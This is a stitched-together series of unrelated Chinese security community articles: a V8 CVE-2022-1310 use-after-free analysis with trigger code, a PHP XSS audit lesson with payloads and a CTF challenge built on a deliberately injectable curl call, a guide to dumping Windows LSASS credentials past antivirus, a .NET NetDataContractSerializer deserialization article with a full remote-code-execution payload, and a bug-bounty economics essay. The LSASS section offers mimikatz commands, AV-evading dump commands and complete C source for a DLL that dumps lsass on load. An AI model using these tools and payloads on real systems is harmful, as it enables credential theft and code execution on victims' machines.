可以看到，Write-Barrier将一个关联的可访问的value对象标记为灰色，并放入marking_worklist中，后续的标记程序可以不需要再遍历老年代中的对象，直接从该列表开始进行标记。
## **漏洞分析**
Chrome V8命令执行漏洞（CVE-2022-1310）出现在V8引擎的正则表达式模块，作者在报告中提到的漏洞PoC部分关键代码如下：
var re = new RegExp('foo', 'g');
re.exec = function() {
gc(); // move `re` to oldspace using a mark-sweep gc
delete re.exec; // transition back to initial regexp map to pass HasInitialRegExpMap
re.lastIndex = 1073741823; // maximum smi, adding one will result in a HeapNumber
RegExp.prototype.exec = function() {
throw ''; // break out of Regexp.replace
}
return ...;
};
try {
var newstr = re[Symbol.replace]("fooooo", ".$"); // trigger
} catch(e) {}
gc({type:'minor'});
%DebugPrint(re.lastIndex);
通过对比PoC和分析源码，当在JS代码中调用`re[Symbol.replace]`函数时，V8引擎使用Runtime_RegExpReplaceRT函数进行处理，函数中的异常退出分支会调用`RegExpUtils::SetAdvancedStringIndex`，该函数最终将`re.lastIndex`加1并写回re对象中。
可见，上述函数功能约等于`re.lastIndex +=
1`，对于类似的代码逻辑，在底层语言中通常需要考虑边界值，防止出现数据溢出。V8中的Number类型分为Smi和HeapNumber，Smi代表了小整数，和对象中的指针共享存储空间，通过值的最低位是否为0来区分类型，超出Smi表示范围的值会在堆中创建HeapNumber对象来表示，在32位环境下，Smi值的范围为-2^30到2^30
- 1。
根据上述逻辑，当我们对RegExp对象赋值`re.lastIndex=1073741823`，并进入Runtime_RegExpReplaceRT函数逻辑时，由于加1后的值1073741824超过Smi的表示范围，V8引擎在堆中重新申请了一个HeapNumber对象来存储新的lastIndex值，此时，该RegExp对象的lastIndex属性不再是一个Smi数，而是一个指向堆中HeapNumber对象的指针。如下图所示：
在之前的垃圾回收中已经介绍，V8的Minor GC的Write-Barrier机制需要对将新生代内存中的新建对象置灰并添加到标记列表中，以省略对老年代对象的遍历。但函数SetLastIndex在处理RegExp对象存在初始化Map情况的代码分支中，默认lastIndex是一个Smi值并使用SKIP_WRITE_BARRIER标记跳过了写屏障。因此，当re.lastIndex变成了HeapNumber对象，又没有被Write-Barrier标记，那么在GC发生时，该对象就会被当作可回收对象被释放，释放后re.lastIndex属性指针就变成了一个悬垂指针，指向了一个已释放的堆空间，再次尝试访问这个对象空间，就产生了Use-After-Free漏洞。
该漏洞（CVE-2022-1310）是一个典型的UAF漏洞，触发后可以通过堆喷重新分配释放后的内存空间达到利用的目的，但由于GC时间和堆喷的不稳定性，会给漏洞利用增加一定难度。在漏洞报告中，作者也给出了完整的利用代码，感兴趣可通过参考文档中的issue
1307610的完整报告继续研究。
## **总结**
漏洞（CVE-2022-1310）出现的根本因为是V8在处理Number类型数据时，没有考虑Smi值溢出的情况，致使新分配的HeapNumber对象破坏了Write-Barrier机制造成UAF，最终导致了任意代码执行，修复方案也非常简单，将SKIP_WRITE_BARRIER标记改成UPDATE_WRITE_BARRIER即可。
该漏洞最早在2020年6月25日就有安全研究员发布了相关信息，直到2022年4月才被修复，目前漏洞细节和利用代码均已经被公开，由于V8引擎影响范围较广，请大家积极升级相关软件至最新版本。
## **参考资料**
<https://bugs.chromium.org/p/chromium/issues/detail?id=1307610>
<https://v8.dev/blog/trash-talk>
<https://v8.dev/blog/concurrent-marking>
<https://chromium.googlesource.com/v8/v8/+/bdc4f54a50293507d9ef51573bab537883560cc8%5E%21/>
* * * | 社区文章 |
本文由红日安全成员： **七月火** 编写，如有不当，还望斧正。
## 前言
大家好，我们是红日安全-代码审计小组。最近我们小组正在做一个PHP代码审计的项目，供大家学习交流，我们给这个项目起了一个名字叫 **PHP-Audit-Labs** 。现在大家所看到的系列文章，属于项目 **第一阶段** 的内容，本阶段的内容题目均来自 [PHP SECURITY CALENDAR
2017](https://www.ripstech.com/php-security-calendar-2017/)
。对于每一道题目，我们均给出对应的分析，并结合实际CMS进行解说。在文章的最后，我们还会留一道CTF题目，供大家练习，希望大家喜欢。下面是 **第2篇**
代码审计文章：
## Day 2 - Twig
题目叫做Twig，代码如下：
**漏洞解析** ：
这一关题目实际上用的是PHP的一个模板引擎 [Twig](https://twig.symfony.com/)
，本题考察XSS(跨站脚本攻击)漏洞。虽然题目代码分别用了 **escape** 和 **filter_var**
两个过滤方法，但是还是可以被攻击者绕过。在上图 **第8行** 中，程序使用 [Twig](https://twig.symfony.com/)
模板引擎定义的 **escape** 过滤器来过滤link，而实际上这里的 **escape** 过滤器，是用PHP内置函数
**htmlspecialchars** 来实现的，具体可以点击
[这里](https://twig.symfony.com/doc/2.x/filters/escape.html) 了解 **escape** 过滤器，
**htmlspecialchars** 函数定义如下：
> [ **htmlspecialchars**
> ](http://php.net/manual/zh/function.htmlspecialchars.php) ：(PHP 4, PHP 5,
> PHP 7)
>
> **功能** ：将特殊字符转换为 HTML 实体
>
> **定义** ：string **htmlspecialchars** ( string `$string` [, int `$flags` =
> ENT_COMPAT | ENT_HTML401 [, string`$encoding` = ini_get("default_charset")
> [, bool `$double_encode` = **TRUE** ]]] )
>
>
> & (& 符号) =============== &
> " (双引号) =============== "
> ' (单引号) =============== '
> < (小于号) =============== <
> > (大于号) =============== >
>
第二处过滤在 **第17行** ，这里用了 **filter_var** 函数来过滤 **nextSlide** 变量，且用了
**FILTER_VALIDATE_URL** 过滤器来判断是否是一个合法的url，具体的 **filter_var** 定义如下：
> [ **filter_var** ](http://php.net/manual/zh/function.filter-var.php)： (PHP 5
> >= 5.2.0, PHP 7)
>
> **功能** ：使用特定的过滤器过滤一个变量
>
> **定义** ：[mixed](http://php.net/manual/zh/language.pseudo-> types.php#language.types.mixed) **filter_var** (
> [mixed](http://php.net/manual/zh/language.pseudo-> types.php#language.types.mixed) `$variable` [, int `$filter` =
> FILTER_DEFAULT [, [mixed](http://php.net/manual/zh/language.pseudo-> types.php#language.types.mixed) `$options` ]] )
针对这两处的过滤，我们可以考虑使用 **javascript伪协议** 来绕过。为了让大家更好理解，请看下面的demo代码：
我们使用 **payload** ：`?url=javascript://comment％250aalert(1)` ，可以执行 **alert** 函数：
实际上，这里的 **//** 在JavaScript中表示单行注释，所以后面的内容均为注释，那为什么会执行 **alert**
函数呢？那是因为我们这里用了字符 **%0a** ，该字符为换行符，所以 **alert** 语句与注释符 **//**
就不在同一行，就能执行。当然，这里我们要对 **%** 百分号编码成 **%25**
，因为程序将浏览器发来的payload：`javascript://comment％250aalert(1)` 先解码成：
`javascript://comment%0aalert(1)` 存储在变量 **$url** 中（上图第二行代码），然后用户点击a标签链接就会触发
**alert** 函数。
## 实例分析
本次实例分析，我们选取的是 **Anchor 0.9.2**
版本，在该版本中，当用户访问一个不存在的URL链接时，程序会调用404模板，而这个模板则存在XSS漏洞，具体代码如下：
该代码在 **themes\default\404.php** 中，看第4行 **code** 标签中的 **current_url** 函数，我们可在
**anchor\functions\helpers.php** 文件中，看到 **current_url** 函数是由 **Uri** 类的
**current** 方法实现的，具体代码如下：
function current_url() {
return Uri::current();
}
我们跟进到 **Uri** 类，在 **system\uri.php** 文件中，我们发现这里调用了 **static::detect** 方法(
**statci::** 是在PHP5.3版本之后引入的延迟静态绑定写法)。
在 **current** 方法下面，我们就可以找到 **detect** 方法，该方法会获取 **$_SERVER** 数组中的
**'REQUEST_URI' 、'PATH_INFO', 、'ORIG_PATH_INFO'**
三个键的值(下图第3-4行代码)，如果存在其中的某一个键，并且符合 **filter_var($uri, FILTER_SANITIZE_URL)** 和
**parse_url($uri, PHP_URL_PATH)** ，则直接将 **$uri** 传入 **static::format**
方法(下图第10-14行代码)，具体代码如下：
我们跟进 **static::format**
方法，可以发现程序过滤了三次(下图第3-7行)，但是都没有针对XSS攻击进行过滤，只是为了获取用户访问的文件名，具体代码如下：
由于没有针对XSS攻击进行过滤，导致攻击十分容易，我们来看看XSS攻击具体是如何进行的。
## 漏洞利用
我们构造payload如下： `http://localhost/anchor/index.php/<script>alert('www.sec-redclub.com')</script>` 。根据上面的分析，当我们访问这个并不存在的链接时，程序会调用404模板页面，然后调用
**current_url** 函数来获取当前用户访问的文件名，也就是最后一个 **/** 符号后面的内容，所以最终payload里的
`<script>alert('www.sec-redclub.com')</script>` 部分会嵌入到 `<code>`
标签中，造成XSS攻击，效果图如下：
## 修复建议
这对XSS漏洞，我们最好就是过滤关键词，将特殊字符进行HTML实体编码替换，这里给出的修复代码为Dedecms中防御XSS的方法，大家可以在
**uploads/include/helpers/filter.helper.php** 路径下找到对应代码，具体防护代码如下：
## 结语
看完了上述分析，不知道大家是否对 **filter_var** 函数绕过有了更加深入的理解，文中用到的CMS可以从
[这里](https://github.com/anchorcms/anchor-cms/releases?after=0.9.3-a)
下载，当然文中若有不当之处，还望各位斧正。如果你对我们的项目感兴趣，欢迎发送邮件到 [email protected] 联系我们。 **Day2**
的分析文章就到这里，我们最后留了一道CTF题目给大家练手，题目如下：
// index.php
<?php
$url = $_GET['url'];
if(isset($url) && filter_var($url, FILTER_VALIDATE_URL)){
$site_info = parse_url($url);
if(preg_match('/sec-redclub.com$/',$site_info['host'])){
exec('curl "'.$site_info['host'].'"', $result);
echo "<center><h1>You have curl {$site_info['host']} successfully!</h1></center>
<center><textarea rows='20' cols='90'>";
echo implode(' ', $result);
}
else{
die("<center><h1>Error: Host not allowed</h1></center>");
}
}
else{
echo "<center><h1>Just curl sec-redclub.com!</h1></center><br>
<center><h3>For example:?url=http://sec-redclub.com</h3></center>";
}
?>
// f1agi3hEre.php
<?php
$flag = "HRCTF{f1lt3r_var_1s_s0_c00l}"
?>
题解我们会阶段性放出，如果大家有什么好的解法，可以在文章底下留言，祝大家玩的愉快！
## 相关文章
[Anchor CMS 0.9.2: XSS](https://curesec.com/blog/article/blog/Anchor-CMS-092-XSS-53.html) | 社区文章 |
## 前言
获取Windows用户的凭证信息是渗透过程中至关重要的一步。
没杀软，只要有权限想怎么读就怎么读。
有杀软，得用一些特别的技巧。
> 注：本机所有测试均为物理机,且为最新版AV
## Mimikatz直接读取Lsass进程
权限提升
privilege::debug
抓取密码
sekurlsa::logonpasswords
但如果此时目标机器上有AV，必定将被拦截
此时mimikatz必须免杀。
一般来说，目标机器有杀软的存在，更倾向于离线解析密码。
## 白名单文件dump
首先说三个微软签名的白名单程序
1. Procdump.exe
2. SQLDumper.exe
3. createdump.exe
### Procdump.exe(no)
尽管procdump拥有微软签名，但大部分AV厂商对此并不买账。
procdump.exe -ma lsass.exe 1.txt
SQLDumper.exe也是一样的
### createdump.exe(no)
> createdump.exe随着.NET5出现的，本身是个native binary
>
> 虽然有签名同样遭到AV查杀
createdump.exe -u -f lsass.dmp lsass[PID]
### Rundll32.exe(no)
> 使用rundll32直接执行comsvcs.dll的导出函数`MiniDump`来Dump进程内存
rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).id Desktop\lsass-comsvcs.dmp full
同样被查杀
### avdump.exe(yes)
`AvDump.exe`是`Avast`杀毒软件中自带的一个程序，可用于转储指定进程（lsass.exe）内存数据，它带有Avast杀软数字签名。
默认路径为：
C:\Program Files\Avast Software\Avast
AvDump.exe --pid 980 --exception_ptr 0 --thread_id 0 --dump_level 1 --dump_file lsass.dmp
成功dump并解密，全程数字杀软无感。
### DumpMinitool.exe(yes)
此exe为近日`mr.d0x`的某推上分享了的一个LOLBIN，通过vs2022里的`DumpMinitool.exe`来导出`lsass`进程。
路径为：
C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\Extensions\TestPlatform\Extensions
数字杀软全程无感
DumpMinitool.exe --file 1.txt --processId 980 --dumpType Full
## 其他方式
### SilentProcessExit进行Dump(no)
具体原理参考文章：[利用SilentProcessExit机制dump内存](https://mp.weixin.qq.com/s/8uEr5dNaQs24KuKxu5Yi9w)
> Silent Process Exit，即静默退出。而这种调试技术，可以派生
> werfault.exe进程，可以用来运行任意程序或者也可以用来转存任意进程的内存文件或弹出窗口。
但该方式需要修改注册表，修改注册表操作将会被查杀。
### 编写Dump Lsass的DLL(yes)
1. 获取Debug权限
2. 找到lsass的PID
3. 使用MiniDump或MiniDumpWriteDump进行内存dump
#include <stdio.h>
#include <Windows.h>
#include <tlhelp32.h>
typedef HRESULT(WINAPI* _MiniDumpW)(DWORD arg1, DWORD arg2, PWCHAR cmdline);
int GetLsassPid() {
PROCESSENTRY32 entry;
entry.dwSize = sizeof(PROCESSENTRY32);
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);
if (Process32First(hSnapshot, &entry)) {
while (Process32Next(hSnapshot, &entry)) {
if (wcscmp(entry.szExeFile, L"lsass.exe") == 0) {
return entry.th32ProcessID;
}
}
}
CloseHandle(hSnapshot);
return 0;
}
void GetDebugPrivilege()
{
BOOL fOk = FALSE;
HANDLE hToken;
if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken))
{
TOKEN_PRIVILEGES tp;
tp.PrivilegeCount = 1;
LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid);
tp.Privileges[0].Attributes = true ? SE_PRIVILEGE_ENABLED : 0;
AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);
fOk = (GetLastError() == ERROR_SUCCESS);
CloseHandle(hToken);
}
}
void DumpLsass()
{
wchar_t ws[100];
_MiniDumpW MiniDumpW;
MiniDumpW = (_MiniDumpW)GetProcAddress(LoadLibrary(L"comsvcs.dll"), "MiniDumpW");
swprintf(ws, 100, L"%u %hs", GetLsassPid(), "c:\\windows\\temp\\temp.bin full");
GetDebugPrivilege();
MiniDumpW(0, 0, ws);
}
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
DumpLsass();
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
成功dump，数字杀软无感。 | 社区文章 |
**原文来自安全客，作者：Ivan1ee@360云影实验室
原文链接：<https://www.anquanke.com/post/id/176226> **
相关阅读：
* [《.NET 高级代码审计（第一课）XmlSerializer 反序列化漏洞》](https://paper.seebug.org/837/ "《.NET 高级代码审计（第一课）XmlSerializer 反序列化漏洞》")
* [《.NET 高级代码审计（第二课） Json.Net 反序列化漏洞》](https://paper.seebug.org/843/ "《.NET 高级代码审计（第二课） Json.Net 反序列化漏洞》")
* [《.NET高级代码审计（第三课）Fastjson反序列化漏洞》](https://paper.seebug.org/849/ "《.NET高级代码审计（第三课）Fastjson反序列化漏洞》")
* [《.NET高级代码审计（第四课） JavaScriptSerializer 反序列化漏洞》](https://paper.seebug.org/865/ "《.NET高级代码审计（第四课） JavaScriptSerializer 反序列化漏洞》")
* [《.NET高级代码审计（第五课） .NET Remoting反序列化漏洞》](https://paper.seebug.org/881/ "《.NET高级代码审计（第五课） .NET Remoting反序列化漏洞》")
* [《.NET高级代码审计（第六课） DataContractSerializer反序列化漏洞》](https://paper.seebug.org/882/ "《.NET高级代码审计（第六课） DataContractSerializer反序列化漏洞》")
### 0x00 前言
NetDataContractSerializer和DataContractSerializer一样用于序列化和反序列化Windows
Communication Foundation (WCF) 消息中发送的数据。两者
之间存在一个重要区别：NetDataContractSerializer 包含了CLR，通过CLR类型添加额外信息并保存引用来支持类型精确，而
DataContractSerializer 则不包含。 因此，只有在序列化和反序列化端使用相同的 CLR 类型时，才能使用
NetDataContractSerializer。若要序列化对象使用 WriteObject或者Serialize方法， 若要反序列化 XML流使用
ReadObject或者Deserialize方法。在某些场景下读取了恶意的XML流就会造成反序列化漏洞，从而实现远程RCE攻击，本文笔者从原理和代码审计的视角做了相关介绍和复现。
### 0x01 NetDataContractSerializer序列化
使用WriteObject或者Serialize可以非常方便的实现.NET对象与XML数据之间的转化，注意NetDataContractSerializer包含了程序集的名字和被序列化类型的类型。这些额外信息可以用来将XML反序列化成特殊类型，允许相同类型可以在客户端和服务端同时使用。另外的信息是z:Id
属性在不同的元素上意义是不同的。这个用来处理引用类型以及当XML被反序列化时是否引用可以保留，最后的结论是这个输出相比DataContractSerializer的输出包含了更多信息。下面通过一个实例来说明问题，首先定义TestClass对象
定义了三个成员，并实现了一个静态方法ClassMethod启动进程。 序列化通过创建对象实例分别给成员赋值
笔者使用Serialize得到序列化TestClass类后的xml数据
<TestClass z:Id="1" z:Type="WpfApp1.TestClass" z:Assembly="WpfApp1, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null" xmlns="http://schemas.datacontract.org/2004/07/WpfApp1" xmlns:i="http://www.w3.org/2001/XMLSchema-instance" xmlns:z="http://schemas.microsoft.com/2003/10/Serialization/"><age>18</age><classname z:Id="2">360</classname><name z:Id="3">Ivan1ee</name></TestClass>
### 0x02 NetDataContractSerializer反序列化
#### 2.1、反序列化用法
NetDataContractSerializer类反序列过程是将XML流转换为对象，通过创建一个新对象的方式调用ReadObject多个重载方法或Serialize方法实现的，查看定义得知继承自XmlObjectSerializer抽象类、IFormatter接口，
NetDataContractSerializer类实现了XmlObjectSerializer抽象类中的WriteObject、ReadObject方法，也实现了IFormatter中定义的方法。笔者通过创建新对象的方式调用Deserialize方法实现的具体实现代码可参考以下
其实在Deserialize方法内也是调用了ReadObject方法反序列化的
反序列化后得到对象的属性，打印输出当前成员Name的值。
#### 2.2、攻击向量—MulticastDelegate
多路广播委托（MulticastDelegate）继承自
Delegate，其调用列表中可以拥有多个元素的委托，实际上所有委托类型都派生自MulticastDelegate。MulticastDelegate类的_invocationList字段在构造委托链时会引用委托数组，但为了取得对委托链更多的控制就得使用GetInvocationList方法，它是具有一个带有链接的委托列表，在对委托实例进行调用的时候，将按列表中的委托顺序进行同步调用，那么如何将calc.exe添加到GetInvocationList列表方法？首先先看`Comparison<T>`类，它用于位于命令空间System.Collections.Generic，定义如下
Comparison类返回委托，再使用Delegate或者MulticastDelegate类的公共静态方法Combine将委托添加到链中作为Comparison的类型比较器
使用`Comparer<T>`的静态方法Create创建比较器，比较器对象在.NET集合类中使用的频率较多，也具备了定制的反序列化功能，这里选择`SortedSet<T>`类，在反序列化的时内部Comparer对象重构了集合的排序。
多路广播委托的调用列表GetInvocationList方法在内部构造并初始化一个数组，让它的每个元素都引用链中的一个委托，然后返回对该数组的引用，下面代码修改了私有字段_InvocationList并用泛型委托Func返回Process类。
最后传入攻击载荷后得到完整序列化后的poc，如下
### 0x03 代码审计视角
#### 3.1、Deserialize
从代码审计的角度只需找到可控的Path路径就可以被反序列化，例如以下场景：
#### 3.2、ReadObject
上面两种方式都是很常见的，需要重点关注。
### 0x04 案例复盘
1. 代码中实现读取本地文件内容
2. 传递poc xml，弹出计算器网页返回200
<ArrayOfstring z:Id="1" z:Type="System.Collections.Generic.SortedSet`1[[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]" z:Assembly="System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" xmlns="http://schemas.microsoft.com/2003/10/Serialization/Arrays" xmlns:i="http://www.w3.org/2001/XMLSchema-instance" xmlns:x="http://www.w3.org/2001/XMLSchema" xmlns:z="http://schemas.microsoft.com/2003/10/Serialization/"><Count z:Id="2" z:Type="System.Int32" z:Assembly="0" xmlns="">2</Count><Comparer z:Id="3" z:Type="System.Collections.Generic.ComparisonComparer`1[[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]" z:Assembly="0" xmlns=""><_comparison z:Id="4" z:FactoryType="a:DelegateSerializationHolder" z:Type="System.DelegateSerializationHolder" z:Assembly="0" xmlns="http://schemas.datacontract.org/2004/07/System.Collections.Generic" xmlns:a="http://schemas.datacontract.org/2004/07/System"><Delegate z:Id="5" z:Type="System.DelegateSerializationHolder+DelegateEntry" z:Assembly="0" xmlns=""><a:assembly z:Id="6">mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</a:assembly><a:delegateEntry z:Id="7"><a:assembly z:Ref="6" i:nil="true"/><a:delegateEntry i:nil="true"/><a:methodName z:Id="8">Compare</a:methodName><a:target i:nil="true"/><a:targetTypeAssembly z:Ref="6" i:nil="true"/><a:targetTypeName z:Id="9">System.String</a:targetTypeName><a:type z:Id="10">System.Comparison`1[[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]</a:type></a:delegateEntry><a:methodName z:Id="11">Start</a:methodName><a:target i:nil="true"/><a:targetTypeAssembly z:Id="12">System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</a:targetTypeAssembly><a:targetTypeName z:Id="13">System.Diagnostics.Process</a:targetTypeName><a:type z:Id="14">System.Func`3[[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089],[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089],[System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]</a:type></Delegate><method0 z:Id="15" z:FactoryType="b:MemberInfoSerializationHolder" z:Type="System.Reflection.MemberInfoSerializationHolder" z:Assembly="0" xmlns="" xmlns:b="http://schemas.datacontract.org/2004/07/System.Reflection"><Name z:Ref="11" i:nil="true"/><AssemblyName z:Ref="12" i:nil="true"/><ClassName z:Ref="13" i:nil="true"/><Signature z:Id="16" z:Type="System.String" z:Assembly="0">System.Diagnostics.Process Start(System.String, System.String)</Signature><Signature2 z:Id="17" z:Type="System.String" z:Assembly="0">System.Diagnostics.Process Start(System.String, System.String)</Signature2><MemberType z:Id="18" z:Type="System.Int32" z:Assembly="0">8</MemberType><GenericArguments i:nil="true"/></method0><method1 z:Id="19" z:FactoryType="b:MemberInfoSerializationHolder" z:Type="System.Reflection.MemberInfoSerializationHolder" z:Assembly="0" xmlns="" xmlns:b="http://schemas.datacontract.org/2004/07/System.Reflection"><Name z:Ref="8" i:nil="true"/><AssemblyName z:Ref="6" i:nil="true"/><ClassName z:Ref="9" i:nil="true"/><Signature z:Id="20" z:Type="System.String" z:Assembly="0">Int32 Compare(System.String, System.String)</Signature><Signature2 z:Id="21" z:Type="System.String" z:Assembly="0">System.Int32 Compare(System.String, System.String)</Signature2><MemberType z:Id="22" z:Type="System.Int32" z:Assembly="0">8</MemberType><GenericArguments i:nil="true"/></method1></_comparison></Comparer><Version z:Id="23" z:Type="System.Int32" z:Assembly="0" xmlns="">2</Version><Items z:Id="24" z:Type="System.String[]" z:Assembly="0" z:Size="2" xmlns=""><string z:Id="25" xmlns="http://schemas.microsoft.com/2003/10/Serialization/Arrays">/c calc.exe</string><string z:Id="26" xmlns="http://schemas.microsoft.com/2003/10/Serialization/Arrays">cmd</string></Items></ArrayOfstring>
最后配上动态图演示↓↓↓
### 0x05 总结
NetDataContractSerializer序列化功能输出的信息更多，因为性能等原因不及DataContractSerializer，所以在WCF开发中用的场景并不太多，但是因为它无需传入类型解析器所以相对来说更容易触发反序列化漏洞。最后.NET反序列化系列课程笔者会同步到
<https://github.com/Ivan1ee/> 、<https://ivan1ee.gitbook.io/>
，后续笔者将陆续推出高质量的.NET反序列化漏洞文章，欢迎大伙持续关注，交流，更多的.NET安全和技巧可关注实验室公众号。
* * *
_本文经安全客授权发布，转载请联系安全客平台。_
* * * | 社区文章 |
原文地址：<https://dmshagov.github.io/Economics-of-the-Bug-Bounty-Hunting/>
大家好!这是本人第一次公开探讨自己对漏洞赏金的看法，所以，请容在下先简要的自我介绍一下。
## 自我介绍
* * *
我叫Dmitriy，从2016年开始，就踏上了全职的漏洞赏金之路。2015年夏天，我遇到了Hackerone网站，当时，正是我的广告技术初创公司陷入困境的时候。实际上，我一直对网络安全抱有很大的兴趣，不过，那时挖洞只是一项业余爱好，不过偶尔也会收到一些赏金。到2015年底，我放弃了自己的创业之梦，打算先休息几个月，然后决定下一步要做什么。在接下来的几个月里，没想到自己的挖洞技能竟然突飞猛进，于是，我注册了Bugcrowd和Synack网站，并参加了Mark
Litchfield组织的250k挑战赛（这要特别感谢Mark！），并意识到其实我可以靠挖洞为生。
## 概述
* * *
实际上，挖洞是一项非常不错的活动，通过它可挑战我们自己的智力。一直以来，智力挑战才是我从事这项活动的动力源泉（我希望将来也是）。一旦成功搞定某个超级棘手的漏洞，会给人带来难以言表的成就感。不过在这篇文章中，我主要想谈谈挖洞的另一面——经济回报。
漏洞赏金是一个主要面向个人的领域。对于个人来说，衡量经济回报的指标主要有两个，即收入（以$为单位）和小时工资（ **$Rate=$/hr** ）。
每个经验丰富的漏洞赏金猎人都有自己判断哪些赏金活动值得关注、哪些项目不值得投入时间的方法。
那我们怎么判定哪个赏金活动值得参与呢？这里的关键指标是小时工资。当然，赏金活动和平台只会根据我们提交的安全漏洞的质量来付费，而不管我们花费了多少时间。然而，挖洞是一个随机过程，因此，我们只有在花费大量时间后，才能评估出从事某些赏金活动的小时工资。但是，您可以凭直觉（或者参考其他赏金活动）估计从事某项赏金活动的$/hr值，并据此判断是否值得参与。
## 小时工资（$Rate）
* * *
因此，收入的计算公式为：
**收入 = $Rate * 小时数量**
很明显，我们可以投入的 **小时数量** 是有限的，但是 **$Rate** 却可以在很大范围内浮动。
作为一名赏金猎人，影响 **$Rate** 的因素有哪些呢？为了简单起见，这里只讨论最重要的三个因素：
1.找到漏洞的概率
2.漏洞的赏金数目
3.撞洞的概率。
具体的计算公式如下所示:
**$Rate = SUM (找到漏洞的概率 _漏洞的赏金数目_ (1 - 被骗的概率))**
其中， **SUM** 表示当前正在寻找的所有漏洞类型的总和。
每个全职的漏洞赏金猎人都梦想着能够达到[$29k/hr](https://www.zdnet.com/article/relying-on-bug-bounties-not-appropriate-risk-management-katie-moussouris/
"$29k/hr")级别的小时工资。因此，要想成功(这里是从经济收入的角度来说的)，我们需要最大化自己的小时工资指标。
## 最大化小时工资
* * *
在知道上述公式之后，具体该怎么做就不言自明了：
1.挖掘具有最大漏洞赏金期望值的程序/位置/漏洞类型（ **漏洞赏金期望值 = 找到漏洞的概率 * 漏洞的赏金数目** ）。
2.将撞洞的概率降至最低。
### 要挖就挖赏金期望值最大的漏洞
漏洞赏金的期望值等于 **找到漏洞的概率*漏洞的赏金数目** 。
所以，理想的漏洞赏金活动至少需要具备两个条件，一是赏金要有吸引力，二是容易找到漏洞。但是，理想很丰满，现实很骨感：赏金越有吸引力，就越难挖到漏洞。因此，如果我们依据这两个指标来选择要参与的赏金活动的话，收入的波动就会非常大，例如，7月收入为5千美元，8月收入为5万美元，9月收入为0美元——刺激不刺激，惊喜不惊喜？！
因此，如果您更喜欢稳定的收入，不妨寻找奖金水平处于中游的活动/漏洞，因为对于这些活动/漏洞来说，挖掘到漏洞的机会往往会更大一些。
当然，这个漏洞奖金期望值的计算公式也无法保证放之四海而皆准，因为总会存在一些特殊情况。
想象一下，您被邀请参加一个接收各种类型的漏洞的赏金活动，其中：
* 反射型XSS——250美元
* 存储型XSS——1000美元
* RCE——2000美元
那么，我们应该关注哪些类型的漏洞呢？如果让我来选的话，我肯定会选择存储型XSS——因为找到这种类型的漏洞的概率通常远高于找到RCE漏洞的概率。就这里来说，找到反射型XSS的概率应该是最高的，但是它的赏金只是存储型XSS漏洞的四分之一。最重要的是，这时撞洞的概率将是最高的。
例如，对于[Verizon
Media](https://hackerone.com/verizonmedia)的赏金活动来说，通过查看他们的赏金表，我相信其中的SSRF/XXE漏洞就属于这种情况。
### 降低撞洞的可能性
对于常见的赏金活动来说，一切都非常简单：
1.查找竞争不太激烈的领域（例如那些有门槛的，需要购买订阅的领域等）
2.查找竞争不太激烈的活动
3.专注于竞争不太激烈的漏洞类型（很明显，CSRF撞洞可能性，要远远高于RCE）
如果您可以访问已经提交的漏洞列表，那么事情将会有很大的转机。换句话说，这可以大大降低撞洞的几率。
从事漏洞赏金猎人一年之后，我曾经做过一个统计，结果发现在H1平台上面报告的30％洞是重复的，在Synack平台上撞洞的概率不到10％。
## 其他注意事项
* * *
为了简单起见，我们前面只讨论了3个参数，即找到漏洞的概率、漏洞的奖金数目以及撞洞的概率。但是，除此之外，还要考虑其他方面的各种因素：
I. 挖到N/A或OOS（超出范围）漏洞的概率。
如果连到底要挖掘什么样的漏洞都不太清楚的话，那么很可能就是在浪费时间。
II. 赏金到手的概率。
赏金活动总是有可能会因为忽略您的报告、活动结束或者其他原因而拒绝付费。
III. 被邀请参加赏金活动的机会。
您可能会收到之前参与过的赏金活动发来的邀请。有时候，这可能意味着为了收到一份诱人的邀请，需要提前在某些赏金活动上倾注一些时间，不过，就 **$Rate**
而言，当时这些活动可能并非最佳选择。
在这方面，我就有过一个深刻的教训。由于之前我参与过两次H1-702漏洞赏金活动，所以后来又收到了他们的邀请。根据之前的经验，虽然在这个平台上找到过几个漏洞，但就小时收入来说，吸引力并不是很大。因此，我估计今年也是如此，所以就没有接受邀请。您猜猜怎么着？今年他们举办了有史以来最“丰盛”的一次漏洞赏金活动:)
## 蹲坑，还是换坑？
* * *
有时你会陷入这样的两难境地：自己一直在参与某个活动，已经坚持了几个月，并且报酬也很不错，但时不时会收到新的邀请。这里的主要问题是，如果没有参与其间并至少提交一份报告的话，我们是很难评估一个新活动的。
这种情况在数学上被称为[多臂老虎机问题](https://en.wikipedia.org/wiki/Multi-armed_bandit)。事实证明，最好将90%的时间花在具有最佳薪酬的活动上，然后拿出10%的时间去探索和评估新的目标，该方法可以最大限度提高我们的收入。
## 联系方式
* * *
这是我的第一篇博客文章，希望能得到大家的反馈。大家可以在twitter上联系我[@dmi3sh](https://twitter.com/dmi3sh)，随时恭候您的佳音。 | 社区文章 |
**作者：p1g3@D0g3**
**原文链接:<https://payloads.info/>**
**本文为作者投稿，Seebug Paper 期待你的分享，凡经采用即有礼品相送！**
